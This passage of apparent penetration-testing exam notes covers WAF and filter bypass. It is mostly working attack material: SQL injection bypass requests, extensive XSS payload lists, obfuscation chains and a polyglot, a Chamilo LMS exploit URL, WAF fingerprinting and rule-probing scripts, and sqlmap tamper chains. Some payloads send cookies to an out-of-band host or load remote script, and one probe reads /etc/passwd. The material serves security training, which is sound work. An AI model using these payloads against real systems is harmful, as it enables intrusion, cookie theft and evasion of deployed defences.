/page.php?a=1'/*&b=*/UNION/*&c=*/SELECT 1,2,3-- -
# Same idea across a multi-field form: no single field contains a complete SQL keyword
user=admin'/*&pass=*/OR/*&remember=*/1=1-- -
Content-type switching

The single most reliable structural WAF/filter bypass: change how the body is parsed so the inspector's parser and the app's parser disagree.

POST /api/login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin'+OR+1=1--+-&password=x
POST /api/login HTTP/1.1
Content-Type: application/json

{"username":"admin' OR 1=1-- -","password":"x"}
POST /api/login HTTP/1.1
Content-Type: application/json

{"username":"admin' OR 1=1-- -","password":"x"}
POST /api/login HTTP/1.1
Content-Type: multipart/form-data; boundary=----B

------B
Content-Disposition: form-data; name="username"

admin' OR 1=1-- -
------B--
POST /api/login HTTP/1.1
Content-Type: application/xml

<login><username><![CDATA[admin' OR 1=1-- -]]></username></login>
TrickWhy it works
x-www-form-urlencoded → application/jsonMany WAF rulesets and app filters only parse form bodies
Add a charset: Content-Type: application/json; charset=utf-7Inspector may decode differently than the app
Casing/spacing: Content-Type: APPLICATION/JSON, application/json ;charset=utf-8Breaks exact-match content-type routing in the inspector
multipart/form-data with an unusual boundary or a duplicated partMultipart parsers differ wildly; no percent-decoding happens
Duplicate Content-Type headersInspector reads one, app reads the other
Content-Type: text/plain on a body the app still parsesSome frameworks parse regardless; some WAFs skip non-form types
HTTP verb tampering
# Access control or WAF rules often bind to GET/POST only
HEAD /admin/delete?id=1 HTTP/1.1
# Some frameworks (PHP $_REQUEST, Spring, Rails) accept parameters regardless of method
PUT /search?q=' OR 1=1-- - HTTP/1.1
# Method override headers - the app routes as POST/DELETE while the WAF sees a GET
GET /admin/users/1 HTTP/1.1
X-HTTP-Method-Override: DELETE
X-Method-Override: DELETE
X-HTTP-Method: DELETE
# Arbitrary/unknown verb - misconfigured Apache <Limit GET POST> blocks only those two
FOOBAR /admin/ HTTP/1.1
Chunked transfer encoding

Splitting the body into chunks defeats WAFs that buffer and inspect a single contiguous body, and those that key off Content-Length.

POST /search HTTP/1.1
Host: TARGET
Transfer-Encoding: chunked

5
q=uni
2
on
b
%20select%201
0

# Chunk extensions (the ";x=y" after the size) are legal and ignored - more parser divergence
POST /search HTTP/1.1
Transfer-Encoding: chunked

6;padding=xxxxx
q=1' O
9
R 1=1-- -
0

Note: HTTP/1.1 only. Each chunk is <hex length>CRLF<data>CRLF, terminated by 0CRLF CRLF. Burp's "Convert to chunked" extension (or a manual rewrite in Repeater with Content-Length auto-update disabled) generates these.

Exam tips — 6.8

  • Try first, in this order: case variation → different tag/function entirely → inline comments → whitespace alternatives → nesting/doubling → encoding → content-type switch. The first four cost one request each.
  • Tell filter from WAF: put the same payload in three different parameters and in a header. A filter blocks it in the one parameter it guards. A WAF blocks it everywhere, and usually with a non-application response (403/406/501, block page, reference ID, or TCP reset).
  • Confirm the bypass: you need a semantic effect, not just reflection. SQLi → a changed row count, a new error, or a measurable delay versus baseline. XSS → the payload appears unencoded in the raw HTML and executes. Command injection → command output in the response or an OOB DNS/HTTP callback.
  • Always baseline first: send a known-benign value and a known-blocked value, and record both lengths. Every later judgement is a comparison against those two numbers.
  • In Intruder, sort by Length and enable Follow redirections: Always. Burp's built-in renderer will not pop alert() — verify winners in a real browser.
  • If nothing in a 100-payload list works, stop fuzzing and go re-read the context in the raw response. You are probably in the wrong context, not facing a strong filter.

6.9 XSS Filter Bypass in Depth

Lab reference: Chamilo LMS 1.9.8 (real-world LMS). The footer discloses the version — feed it straight to searchsploit. EDB 36435 documents multiple stored/reflected XSS and CSRF issues in Chamilo LMS ≤ 1.9.10 across several endpoints.

6.9.1 Recon on a versioned real-world app

# Version is disclosed in the page footer alongside the admin's name (information disclosure - report it)
searchsploit chamilo
searchsploit -m 36435                      # copy the PoC text file to the working directory
cat 36435.txt                              # vulnerable endpoints + ready-made PoC URLs
# Local exploit store: /usr/share/exploitdb/exploits/

Vulnerable endpoints named in the PoC include main/calendar/agenda_list.php, main/messages/outbox.php, main/mySpace/student.php and others; one endpoint is XSS via the User-Agent header (and requires authentication — a 403 across a whole Intruder run is the tell).

6.9.2 Decode the PoC before you use it

The PoC payloads arrive URL-encoded. Decode them first — the structure tells you the injection context, which is the only thing that matters.

# The PoC value decoded (Burp Decoder, CyberChef, or:)
python3 -c "import urllib.parse,sys;print(urllib.parse.unquote(sys.argv[1]))" "%27%20onmouseover%3Dconfirm%280%29%3B%2F%2F"
# -> ' onmouseover=confirm(0);//

That decodes to a single quote, a space, an event handler, and a // comment. Read it as three facts:

  1. The injection lands inside a single-quoted HTML attribute → ' closes it.
  2. A space is required to start a new attribute.
  3. // comments out the trailing garbage.

Therefore every payload you fuzz at this endpoint must carry the prefix ' (quote + space) or it cannot possibly work. This is why a raw SecLists run against this endpoint returns zero hits, and why the same run with a payload-processing prefix rule of ' produces multiple working payloads.

Burp Intruder -> Payloads -> Payload Processing -> Add -> Add prefix -> "' "  (quote, space)
Payload Encoding: ON   |   Settings -> Redirections: Always
Payload list: /usr/share/seclists/Fuzzing/XSS/XSS-BruteLogic.txt
# The original working PoC, URL-encoded, appended to the vulnerable parameter's value
/main/calendar/agenda_list.php?type=personal%27%20onmouseover%3Dconfirm%280%29%3B%2F%2F

Confirmation signal used in the lab: a successful injection subtly changes the page layout in Burp's Render tab (the injected attribute breaks the surrounding tag). Sort Intruder by length, render the outliers, then verify the winners in a real browser.

# Header-based XSS at another endpoint - inject into User-Agent, not a parameter
GET /main/admin/system_status.php HTTP/1.1
Host: TARGET
User-Agent: <svg onload=alert(document.domain)>
Cookie: <authenticated session>

6.9.3 Step 1 — identify the context from the raw response

Submit a unique canary (zzq1zzq) and find it in the raw HTML. The surrounding characters dictate the payload.

What you see around the canaryContextBreakoutMinimal payload
<p>zzq1zzq</p>HTML text nodenone<img src=x onerror=alert(1)>
<input value="zzq1zzq">Double-quoted attribute"" autofocus onfocus=alert(1) x="
<input value='zzq1zzq'>Single-quoted attribute'' autofocus onfocus=alert(1) x='
<input value=zzq1zzq>Unquoted attributespace autofocus onfocus=alert(1)
<a href="zzq1zzq">URL attributenone neededjavascript:alert(1)
<a href="/x?q=zzq1zzq">URL attribute, inside a value"" onmouseover=alert(1) x="
<script>var a='zzq1zzq';</script>JS string (single)';';alert(1)//
<script>var a="zzq1zzq";</script>JS string (double)";";alert(1)//
<script>var a={"k":"zzq1zzq"}</script>JSON in script"}"};alert(1);//
<script>foo(zzq1zzq)</script>JS numeric/expressionnonealert(1)
<!-- zzq1zzq -->HTML comment-->--><img src=x onerror=alert(1)>
<textarea>zzq1zzq</textarea>RCDATA</textarea></textarea><img src=x onerror=alert(1)>
<title>zzq1zzq</title>RCDATA</title></title><svg onload=alert(1)>
<style>.a{x:zzq1zzq}</style>CSS}}</style><svg onload=alert(1)>
<div onclick="zzq1zzq">Event handler (JS in an attribute)nonealert(1) — and HTML entities work here
URL fragment / JS reads location.hashDOM XSSnonesee 6.9.9

6.9.4 Step 2 — tag and event-handler alternatives

When script is blocked, these fire without any user interaction:

PayloadRequires interaction?Notes
<svg onload=alert(1)>NoShortest reliable modern payload. The course's fuzzing winner in DVWA and Chamilo.
<svg/onload=alert(1)>No/ as separator — no space needed
<img src=x onerror=alert(1)>NoUniversal; src must be invalid
<img src=1 onerror=alert(1)>No
<body onload=alert(1)>NoOnly one <body> per document — may be ignored if one exists
<body onpageshow=alert(1)>NoAlternative to onload
<iframe src=javascript:alert(1)>NoBlocked by modern CSP/sandboxing, still works in many labs
<iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;">NoEntity-decoded then parsed as a document
<details open ontoggle=alert(1)>No — open fires it immediatelyExcellent when on(load|error) are blacklisted
<marquee onstart=alert(1)>x</marquee>NoObsolete tag, frequently missing from blacklists
<video><source onerror=alert(1)>No
<audio src=x onerror=alert(1)>No
<object data=javascript:alert(1)>No
<embed src=javascript:alert(1)>No
<input autofocus onfocus=alert(1)>No — autofocus triggers itThe go-to for attribute-context breakouts
<select autofocus onfocus=alert(1)>No
<textarea autofocus onfocus=alert(1)>No
<keygen autofocus onfocus=alert(1)>NoObsolete; often unlisted
<form><button formaction=javascript:alert(1)>XClick
<isindex action=javascript:alert(1) type=image>ClickLegacy
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>NoMutation XSS — foreign-content parsing confuses sanitizers
<svg><animate onbegin=alert(1) attributeName=x dur=1s>NoSVG animation event
<svg><set onbegin=alert(1) attributeName=x to=y dur=1s>No
<a href=# onmouseover=alert(1)>x</a>HoverThe Chamilo PoC's handler
<div onpointerover=alert(1)>x</div>Hoveronpointer* often unlisted
<div style=animation-name:x onanimationstart=alert(1)>NoCSS-driven event
<div onbeforetoggle=alert(1) popover> + triggerVariesNewer HTML popover API

Event-handler families to cycle through when onerror/onload are blacklisted: onfocus onblur ontoggle onstart onbegin onanimationstart onanimationend ontransitionend onpointerover onpointerenter onmouseenter onmouseover onwheel onscroll oncopy oncut onpaste onplay onplaying oncanplay onloadstart onloadedmetadata onprogress onauxclick oncontextmenu onsearch ondrag ondrop onresize onbeforeprint onhashchange onpopstate onmessage.

<!-- Attribute-context breakouts, one per quoting style -->
" autofocus onfocus=alert(1) x="
' autofocus onfocus=alert(1) x='
 autofocus onfocus=alert(1)
<!-- Close the tag entirely and open your own -->
"><svg onload=alert(1)>
'><svg onload=alert(1)>
"></textarea><svg onload=alert(1)>
--><svg onload=alert(1)>
</script><svg onload=alert(1)>

6.9.5 Step 3 — javascript: URI obfuscation

Use when you control an href, src, action, formaction, data, or a redirect parameter.

<!-- Baseline -->
<a href="javascript:alert(1)">x</a>
<!-- Case, whitespace and control characters inside the scheme are ignored by the URL parser -->
<a href="JaVaScRiPt:alert(1)">x</a>
<a href="java&#x09;script:alert(1)">x</a>
<a href="java&#x0a;script:alert(1)">x</a>
<a href="java&#x0d;script:alert(1)">x</a>
<a href="  javascript:alert(1)">x</a>
<a href="java script:alert(1)">x</a>
<!-- Entity-encoded scheme: the HTML parser decodes before the URL parser sees it -->
<a href="&#106;avascript:alert(1)">x</a>
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;alert(1)">x</a>
<a href="&#0000106avascript&#0000058alert(1)">x</a>
<!-- NUL byte inside the scheme (legacy parsers) -->
<a href="java%00script:alert(1)">x</a>
<!-- Payload body obfuscation inside a working scheme -->
<a href="javascript:eval(atob('YWxlcnQoMSk='))">x</a>
<a href="javascript:window['al'+'ert'](1)">x</a>
<a href="javascript:/*--></title></style></textarea></script><svg onload=alert(1)>">x</a>
<!-- Other schemes worth trying when javascript: is blocked -->
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">x</a>
<a href="vbscript:msgbox(1)">x</a>          <!-- legacy IE only -->

6.9.6 Step 4 — no parentheses, no quotes, no spaces, no alphanumerics

// NO PARENTHESES
onerror=alert;throw 1                       // throw passes its argument to the error handler
onerror=alert;throw'XSS'
<svg onload="window.onerror=eval;throw'=alert\x281\x29'">
<img src=x onerror="throw onerror=alert,1">
alert`1`                                    // tagged template literal - calls alert
setTimeout`alert\u00281\u0029`
Function`alert\u00281\u0029```   // Function builds it, the trailing empty template invokes it
location=/javascript:alert%281%29/.source   // regex literal .source gives a string, no quotes
// NO QUOTES
<img src=x onerror=alert(1)>                 // numbers need no quotes
<img src=x onerror=alert(document.domain)>
<svg onload=alert(String.fromCharCode(88,83,83))>
<svg onload=eval(atob(location.hash.slice(1)))>   // base64 payload carried in the fragment
/xss/.source                                 // regex literal yields the string "xss"
document.cookie                              // exfiltrate without writing a literal
<!-- NO SPACES -->
<svg/onload=alert(1)>
<img/src=x/onerror=alert(1)>
<img%09src=x%09onerror=alert(1)>
<img%0asrc=x%0aonerror=alert(1)>
<img%0csrc=x%0conerror=alert(1)>
<svg%0donload=alert(1)>
// NO ALPHANUMERICS (JSFuck family) - generate with jsfuck.com, never by hand
// Uses only []()!+ ; expands alert(1) to roughly 1,700 characters
[]["constructor"]["constructor"]("alert(1)")()   // shorter constructor-chain variant
// NO "alert" - any observable side effect proves execution
<svg onload=print()>
<svg onload=confirm(1)>
<svg onload=prompt(1)>
<svg onload=document.title=1>
<svg onload=fetch('//OOB.oastify.com/'+document.cookie)>
<svg onload=import('//OOB.oastify.com/x.js')>

6.9.7 Step 5 — String.fromCharCode, eval/atob and template literals

// Build the payload from numbers only - no quotes, no keyword
<svg onload=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>
// Base64-wrapped: no JS keyword appears in the request at all
<img src=x onerror="eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))">
// Template literal + interpolation - bypasses filters keyed on ( ) and quotes
<svg onload="alert`${document.domain}`">
<svg onload="eval(`al`+`ert(1)`)">
// Chain them: base64 inside fromCharCode inside eval, for layered signature evasion
eval(atob(String.fromCharCode(89,87,120,108,99,110,81,111,77,83,107,61)))   // -> alert(1)
# Generate the numeric list for any payload
python3 -c "print(','.join(str(ord(c)) for c in 'alert(document.domain)'))"
python3 -c "import base64;print(base64.b64encode(b'alert(document.domain)').decode())"

6.9.8 Step 6 — mixed case, nesting and reconstruction after naive stripping

<!-- Mixed case beats any case-sensitive match -->
<ScRiPt>alert(1)</ScRiPt>
<SvG OnLoAd=alert(1)>
<iMg sRc=x OnErRoR=alert(1)>
<!-- Reconstruction: the filter deletes the inner match, the outer fragments join up -->
<scr<script>ipt>alert(1)</scr<script>ipt>
<scrip<script>t>alert(1)</scrip</script>t>
<img src=x oneonerrorrror=alert(1)>
<<script>script>alert(1)<</script>/script>
javjavascriptascript:alert(1)
<!-- Same mechanic against attribute/keyword strippers -->
<img src=x o<x>nerror=alert(1)>
<svg o<>nload=alert(1)>
<!-- Unclosed / malformed tags: browsers repair them, naive regexes do not match them -->
<svg onload=alert(1)//
<img src=x onerror=alert(1)
<script>alert(1)          <!-- no closing tag - the parser still runs it at EOF -->
<iframe src=javascript:alert(1)<
<!-- Attribute-value mutation: browsers accept backticks and unquoted values -->
<img src=`x` onerror=alert(1)>
<img src=x onerror=alert&lpar;1&rpar;>
<img src=x onerror="&#97;lert(1)">

6.9.9 DOM XSS sinks

Server-side filtering is irrelevant for DOM XSS — the payload may never reach the server at all (anything after # is client-only). Grep the JavaScript for these.

Source (attacker-controlled)Sink (executes)
location, location.href, location.search, location.hash, location.pathnameeval(), Function(), setTimeout(string), setInterval(string)
document.URL, document.documentURI, document.baseURIdocument.write(), document.writeln()
document.referrerelement.innerHTML, outerHTML, insertAdjacentHTML()
window.nameelement.setAttribute('on…', …), srcdoc
postMessage event datalocation = …, location.href = …, location.replace(), window.open()
localStorage / sessionStorageelement.src / href / action / formaction / data
Cookie valuesjQuery: $(x), $.html(x), $.globalEval(), $.parseHTML()
XMLHttpRequest / fetch response reflected into the DOMRange.createContextualFragment(), DOMParser.parseFromString()
WebSocket message dataAngular/Vue template interpolation, v-html, ng-bind-html
# Hash-based DOM XSS: everything after # never reaches the server, so no server filter applies
https://TARGET/page#<img src=x onerror=alert(1)>
https://TARGET/page#javascript:alert(1)
https://TARGET/search?q=x#" onmouseover="alert(1)
// Find sinks fast in the browser console
// DevTools -> Sources -> Ctrl+Shift+F, search for: innerHTML, document.write, eval, setTimeout, location.hash
// Or use Burp's DOM Invader (Burp browser -> extension -> enable) which auto-traces source->sink.
// window.name as a cross-origin carrier for a DOM sink
<iframe name="<img src=x onerror=alert(1)>" src="https://TARGET/vulnerable"></iframe>

6.9.10 Consolidated quick-fire XSS payload ladder

<!-- 1. Baseline - does anything reflect and execute at all? -->
<script>alert(1)</script>
<!-- 2. No "script" keyword -->
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<!-- 3. Attribute breakout, all three quoting styles -->
"><svg onload=alert(1)>
'><svg onload=alert(1)>
 autofocus onfocus=alert(1)
<!-- 4. No spaces / no common handlers -->
<svg/onload=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>x</marquee>
<!-- 5. Encoded -->
%3Csvg%20onload%3Dalert(1)%3E
&#x3c;svg onload=alert(1)&#x3e;
%253Csvg%2520onload%253Dalert(1)%253E
<!-- 6. No parens / no quotes -->
<svg onload=alert`1`>
<img src=x onerror="throw onerror=alert,1">
<!-- 7. Obfuscated body -->
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
<svg onload=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>
<!-- 8. Context escapes -->
</textarea><svg onload=alert(1)>
--><svg onload=alert(1)>
';alert(1)//
</script><svg onload=alert(1)>
<!-- 9. Reconstruction after stripping -->
<scr<script>ipt>alert(1)</scr<script>ipt>
<sv<svg>g onload=alert(1)>
<!-- 10. Nuclear polyglot - covers text, attribute, script, comment and title contexts at once -->
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Exam tips — 6.9

  • Try first: <svg onload=alert(1)>. It is short, needs no interaction, contains no script, and was the winning payload in both the DVWA and Chamilo labs.
  • Always read the raw response before choosing a payload. Ten seconds identifying the context beats a hundred blind fuzz requests — and it is the whole reason the Chamilo PoC needs the ' prefix.
  • When a PoC exists, decode it and extract the structure, not the payload. The prefix/suffix is the reusable part; the handler is interchangeable.
  • Confirm execution: an alert() popup in a real browser, or an OOB callback. Burp's renderer does not run popups; reflection in the response is necessary but not sufficient.
  • Payload does not fire despite clean reflection → check the CSP header, then check whether you are inside <script> (entities do not decode there) or a comment (must close it first).
  • Different endpoints of the same app have different filters. Chamilo's agenda endpoint needs ' ; its User-Agent sink needs authentication and no prefix at all. Never assume one bypass generalises.
  • alert(document.domain) beats alert(1) as proof — it shows which origin executed, which matters when frames are involved.

6.10 WAF Fundamentals & Detection

6.10.1 What a WAF is, and how it differs from a proxy

A web application firewall sits between the client and the web application, monitoring and filtering incoming HTTP traffic, and blocking recognised web attacks (SQLi, XSS, application-layer DoS). Critically: a WAF blocks based on a rule set — it does not sanitize. Its quality is entirely a function of that rule set.

FeatureWAFProxy
Primary purposeWeb application securityVersatile intermediary — not necessarily security
Traffic handlingAnalyses and filters web trafficActs as intermediary for caching, filtering, routing, load balancing
Security focusHighly specialised in web app securityBroad; security is one of many use cases
Rule setsPredefined security rule sets, comparatively static (e.g. OWASP CRS)Flexible, varied, highly granular policies
DeploymentIn front of the web applicationAnywhere in the network path
Targeted threatsSQLi, XSS, LFI/RFI, app-layer DDoSContent filtering, geo-blocking, IP blocking, ACLs, caching
Typical productsModSecurity + CRS, Cloudflare, AWS WAF, Akamai, Imperva, F5 BIG-IP ASM, Sucuri, WordfenceSquid, HAProxy, nginx, Varnish, Cloudflare (also a CDN+proxy)

In practice modern services bundle all of it — Cloudflare is simultaneously a CDN, a reverse proxy and a WAF. This matters for testing: the proxy layer masks the real origin IP (see 6.11.6) while the WAF layer blocks payloads.

6.10.2 How WAFs decide

ModelMechanismStrengthWeakness you exploit
Signature / negative securityRegex and string patterns for known attacksFast, low false positivesBlacklist — unknown encodings, obfuscation and novel syntax pass
Positive security / allow-listOnly known-good request shapes permittedVery strongRare; expensive to maintain; look for un-modelled endpoints
Anomaly scoringEach matched rule adds a score; block only when the total exceeds a thresholdFewer false positives than pure signaturesStay under the threshold — split the payload, drop optional tokens
Behavioural / rate-basedRequests per IP/session/timeStops brute force and scannersSlow down, rotate source IP, vary fingerprint
ML / heuristicLearned traffic modelCatches novel payloadsNoisy; unusual-but-benign traffic shapes slip through
ModSecurity + OWASP Core Rule Set (CRS)

The reference open-source WAF, and the one the course recommends practising against.

ConceptDetail
EngineModSecurity (SecRuleEngine On / DetectionOnly / Off)
RulesOWASP CRS — categorised by attack family (REQUEST-942 SQLi, REQUEST-941 XSS, REQUEST-930 LFI, REQUEST-932 RCE, REQUEST-913 scanner detection)
Anomaly scoringEach rule match adds to an inbound score. Defaults: inbound threshold 5, outbound threshold 4. Rule severities: CRITICAL 5, ERROR 4, WARNING 3, NOTICE 2
Paranoia Levels (PL1–PL4)PL1 = default, minimal false positives, only high-confidence rules. PL2 = adds stricter rules, some FPs. PL3 = aggressive, many FPs, for high-security apps. PL4 = extremely aggressive, character-level restrictions, heavy FPs. Most production deployments run PL1.
Practical consequenceAt PL1, a single CRITICAL match (score 5) blocks. Payloads that trigger only NOTICE/WARNING rules (score 2–3) pass. Splitting one payload across two parameters keeps each below the threshold.
TransformationsRules run after transformation functions (t:urlDecodeUni, t:htmlEntityDecode, t:lowercase, t:removeComments, t:compressWhitespace). Encoding tricks that CRS explicitly normalises will not work — which is why structural bypasses (content-type, HPP, chunking) beat encoding tricks against CRS.

6.10.3 Detection — automated

# wafw00f: the standard WAF fingerprinter. Sends benign + malicious probes and matches response signatures.
wafw00f https://target.com
wafw00f -a https://target.com            # do not stop at the first match - find ALL WAFs in the path
wafw00f -v https://target.com            # verbose: show the probes and matching logic
wafw00f -l                               # list every WAF wafw00f can identify (~150)
wafw00f -i targets.txt -o results.json -f json   # bulk scan
wafw00f -p http://127.0.0.1:8080 https://target.com   # route through Burp to see the probes
# Nmap NSE alternatives
nmap -p80,443 --script http-waf-detect --script-args="http-waf-detect.aggro,http-waf-detect.detectBodyChanges" target.com
nmap -p80,443 --script http-waf-fingerprint --script-args http-waf-fingerprint.intensive=1 target.com
# whatwaf - second opinion, includes bypass suggestions
whatwaf -u "https://target.com/index.php?id=1"
# sqlmap will tell you itself - it runs a WAF/IPS heuristic before testing
sqlmap -u "https://target.com/item?id=1" --identify-waf
sqlmap -u "https://target.com/item?id=1" --check-waf

6.10.4 Detection — manual fingerprinting

Send an unmistakably malicious request and compare against a benign baseline.

# Baseline
curl -sD - -o /dev/null 'https://target.com/?q=hello'
# Trigger
curl -sD - -o /dev/null 'https://target.com/?q=<script>alert(1)</script>'
curl -sD - -o /dev/null "https://target.com/?q=' OR 1=1-- -"
curl -sD - -o /dev/null 'https://target.com/?q=../../../../etc/passwd'
curl -sD - -o /dev/null 'https://target.com/?q=%00'
curl -sD - -o /dev/null -A "sqlmap/1.7" 'https://target.com/'   # UA-based blocking
Response-code tellLikely source
403 Forbidden with a branded block page or reference/support IDWAF (Cloudflare, Akamai, Imperva, Sucuri)
406 Not AcceptableMod_Security default (classic tell)
501 Method Not ImplementedModSecurity on some configs
419 / 999Generic WAF / rate-limit page
503 with a JS challenge or "checking your browser"Cloudflare "I'm Under Attack" / bot management
200 with an empty or generic bodySilent drop — WAF in "sanitize/monitor" mode
TCP reset / connection closed mid-requestInline IPS or WAF dropping the connection
Sudden latency spike, then a blockRate limiting / tarpit
Normal app page with input mangled or strippedApplication filter, not a WAF
Header / cookie tellProduct
Server: cloudflare, CF-RAY, cf-cache-status, __cfduid/__cf_bm cookieCloudflare
X-Sucuri-ID, X-Sucuri-CacheSucuri CloudProxy
X-CDN: Incapsula, incap_ses_* / visid_incap_* cookiesImperva Incapsula
Server: AkamaiGHost, X-Akamai-Transformed, AKA_*Akamai
X-Powered-By-Plesk, X-Mod-Security, Mod_Security in the bodyModSecurity
BIGipServer* cookie, X-WA-InfoF5 BIG-IP ASM
X-Amz-Cf-Id, X-Cache: Error from cloudfrontAWS CloudFront + AWS WAF
X-Distil-CS, D_UIDDistil / Imperva Bot
X-Barracuda-*, barra_counter_sessionBarracuda
ns_af= cookie, Cneonction/nnCoection mangled headerCitrix NetScaler
X-Varnish, Via: varnishVarnish (cache, not a WAF)
Via: 1.1 … (squid/…), X-Squid-Error, X-Cache: MISS from …Squid forward/reverse proxy
# Header-only recon in one shot
curl -sIL https://target.com | grep -Ei 'server|via|x-|cf-|cache|powered'

6.10.5 Mapping the rule set

Once a WAF is confirmed, find its edges before crafting payloads. Fuzz one token at a time and record what blocks.

# Binary-search the rule: which single token triggers the block?
for p in "union" "select" "union select" "UNION" "un/**/ion" "sel%0aect" "or 1=1" "'" "\"" "<" "<script" "onerror" "alert(" "../" "etc/passwd" "%00"; do
  code=$(curl -s -o /dev/null -w '%{http_code}' --get --data-urlencode "q=$p" https://target.com/search)
  echo "$code  $p"
done
# Same idea in Burp Intruder with /usr/share/seclists/Fuzzing/special-chars.txt
# and /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt - sort by status code, not length, when a WAF is present.
ObservationConclusion
union alone passes, union select blocksRule matches the pair → break them apart (HPF, comments, whitespace)
union alone blocksSingle-keyword rule → obfuscate the keyword (case, comments, encoding)
Blocks only in one parameterApplication filter, not a WAF
Blocks in every parameter and in headersWAF
Blocks on GET but not POST (or vice versa)Method-scoped rules → verb/location switch
Blocks on urlencoded but not json/multipartContent-type-scoped inspection → switch body type
Blocks a long payload but not two short halvesAnomaly scoring → split across parameters

Exam tips — 6.10

  • Try first: wafw00f -a <url>, then a single manual probe pair (benign vs ' OR 1=1-- -) and diff the status code, headers and body length. Two commands tell you almost everything.
  • Filter vs WAF, definitive test: put the identical payload into a parameter the application does not even use (?zzz=<payload>). A WAF still blocks it (it inspects all input). An app filter cannot — it only guards its own parameter.
  • Also check for detection-only mode: a WAF may log without blocking. If a payload works but responses get slower or a X-…-ID header appears, assume you are being recorded.
  • Fingerprint the product by name before choosing bypasses — Cloudflare, ModSecurity/CRS and Imperva fail to different tricks, and knowing the product narrows the search enormously.
  • Note the WAF as a finding in its own right if it is in DetectionOnly, has an exposed origin IP, or blocks on signature but not on a trivial re-encoding.

6.11 WAF Bypass Playbook

Order of operations: (1) find the origin and skip the WAF entirely → (2) change the request structure so the inspector parses it differently → (3) obfuscate the payload → (4) reduce the anomaly score → (5) slow down and rotate. Structural bypasses beat encoding tricks against a well-normalised WAF like CRS, so try them first.

6.11.1 sqlmap tamper scripts

sqlmap --list-tampers                     # full list with one-line descriptions
ls /usr/share/sqlmap/tamper/              # the scripts themselves - read them, they are short Python
Tamper scriptWhat it doesBest against
space2commentReplaces spaces with /**/Generic whitespace rules
space2plusReplaces spaces with +Query-string contexts
space2randomblankReplaces spaces with a random whitespace char from a valid set (%09 %0A %0C %0D)Signature rules keyed on %20
space2comment + randomcaseCombinedMost common opening pair
space2mysqldashReplaces space with -- + newlineMySQL
space2mssqlblankReplaces space with a random blank from an MSSQL-valid setMSSQL
space2mssqlhashReplaces space with %23 + newlineMSSQL
space2hashReplaces space with # + random string + newlineMySQL
space2dashReplaces space with -- + random string + newlineMSSQL, generic
multiplespacesAdds multiple spaces around SQL keywordsRules matching a single space
randomcaseRandomises keyword case (SeLeCt)Case-sensitive signatures
randomcommentsInjects random /**/ inside keywords (U/**/NION)Keyword signatures
charencodeURL-encodes all charactersSimple string matchers
chardoubleencodeDouble URL-encodes all charactersDecode-once inspectors
charunicodeencodeUnicode-URL-encodes (%u0053) non-encoded charsASP/ASP.NET + IIS
charunicodeescapeUnicode-escapes (S) non-encoded charsJSON/JS contexts
apostrophemaskReplaces ' with the UTF-8 fullwidth apostrophe %EF%BC%87Quote-blocking rules + normalising backends
apostrophenullencodeReplaces ' with %00%27Null-byte-truncating inspectors
appendnullbyteAppends %00 to the payloadLegacy filters
base64encodeBase64-encodes the whole payloadApps that base64-decode the parameter themselves
betweenReplaces > with NOT BETWEEN 0 AND #, and = with BETWEEN # AND #> and = blocked
equaltolikeReplaces = with LIKE= blocked
greatestReplaces > with GREATEST()> blocked (MySQL)
leastReplaces > with LEAST()> blocked
ifnull2ifisnullIFNULL(A,B) → IF(ISNULL(A),B,A)MySQL, IFNULL blocked
ifnull2casewhenisnullIFNULL(A,B) → CASE WHEN ISNULL(A) THEN (B) ELSE (A) ENDMySQL
halfversionedmorekeywordsPrepends a versioned MySQL comment before each keywordMySQL < 5.1
versionedkeywordsEncloses each non-function keyword in a versioned comment /*!…*/MySQL
versionedmorekeywordsEncloses every keyword in a versioned commentMySQL ≥ 5.1
modsecurityversionedWraps the full query in a versioned comment /*!30000…*/ModSecurity
modsecurityzeroversionedWraps the full query in a zero-versioned comment /*!00000…*/ModSecurity
percentageAdds % before every character (SELECT → %S%E%L%E%C%T)ASP/IIS
overlongutf8 / overlongutf8moreConverts characters to overlong UTF-8 sequencesDecoders accepting overlong forms
nonrecursivereplacementReplaces keywords with representations suited to a single-pass filter (SELECT → SELSELECTECT)str_replace-style filters
unionalltounionUNION ALL SELECT → UNION SELECTRules matching UNION ALL
unmagicquotesWide-char %bf%27 plus a generic commentmagic_quotes/addslashes
escapequotesSlash-escapes quotes
securesphereAppends a crafted string Imperva SecureSphere mishandlesImperva
sp_passwordAppends sp_password so the query is elided from MSSQL logsMSSQL log evasion
commalesslimitLIMIT 2,3 → LIMIT 3 OFFSET 2Commas blocked
commalessmidMID(A,2,3) → MID(A FROM 2 FOR 3)Commas blocked
concat2concatwsCONCAT(A,B) → CONCAT_WS(MID(CHAR(0),0,0),A,B)CONCAT blocked
plus2concat+ → CONCAT()MSSQL
plus2fnconcat+ → ODBC {fn CONCAT()}MSSQL
hex2char0x… hex literal → CONCAT(CHAR(),…)0x blocked
charencode + randomcase + space2commentStackedCommon general-purpose chain
informationschemacommentAppends /**/ after every information_schema occurrenceRules matching that table
schemasplitSplits information_schema.<table> across a commentSame
lowercase / uppercaseForces caseCase-specific rules
symboliclogicalAND/OR → &&/||Keyword rules
xforwardedforAdds a random X-Forwarded-For header to every requestIP-based rate limiting/blocking
bluecoatSpace after a SQL statement → a valid random blank; = → LIKEBlue Coat proxy
dunionPrepends a D to UNION for specific parsersNiche
# Chain tampers with commas; order matters (they apply left to right)
sqlmap -u "https://target.com/item?id=1" --tamper=space2comment,randomcase,charencode --level=5 --risk=3
# ModSecurity-specific chain
sqlmap -u "https://target.com/item?id=1" --tamper=modsecurityversioned,space2comment,randomcase
sqlmap -u "https://target.com/item?id=1" --tamper=modsecurityzeroversioned,between,randomcase
